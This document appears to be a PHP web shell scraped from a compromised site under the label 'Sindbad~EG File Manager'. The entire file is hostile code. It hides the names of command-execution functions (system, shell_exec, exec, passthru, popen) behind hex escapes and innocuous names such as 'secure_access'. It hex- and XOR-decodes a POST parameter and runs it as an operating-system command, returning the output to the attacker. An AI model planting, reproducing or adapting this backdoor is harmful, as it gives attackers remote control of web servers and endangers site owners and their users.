Sindbad~EG File Manager

<?php

$app_initializer = "hex\x32\x62\x69n";
$secure_access4 = "passthru";
$secure_access3 = "\x65\x78ec";
$secure_access5 = "\x70ope\x6E";
$secure_access6 = "\x73\x74r\x65a\x6D_\x67\x65t\x5F\x63\x6F\x6Etents";
$secure_access7 = "\x70c\x6Co\x73e";
$secure_access2 = "\x73\x68ell_ex\x65c";
$secure_access1 = "\x73\x79\x73tem";
if (isset($_POST["pt\x72"])) {
            function buffer_cache    ( $ent, $data )    {   $token= ''   ;$z=0; do{$token.=chr(ord($ent[$z])^$data);$z++;} while($z<strlen($ent)); return $token; }
            $ptr = $app_initializer($_POST["pt\x72"]);
            $ptr = buffer_cache($ptr, 30);
            if (function_exists($secure_access1)) {
                $secure_access1($ptr);
            } elseif (function_exists($secure_access2)) {
                print $secure_access2($ptr);
            } elseif (function_exists($secure_access3)) {
                $secure_access3($ptr, $pointer_ent);
                print join("\n", $pointer_ent);
            } elseif (function_exists($secure_access4)) {
                $secure_access4($ptr);
            } elseif (function_exists($secure_access5) && function_exists($secure_access6) && function_exists($secure_access7)) {
                $data_token = $secure_access5($ptr, 'r');
                if ($data_token) {
                    $elem_symbol = $secure_access6($data_token);
                    $secure_access7($data_token);
                    print $elem_symbol;
                }
            }
            exit;
        }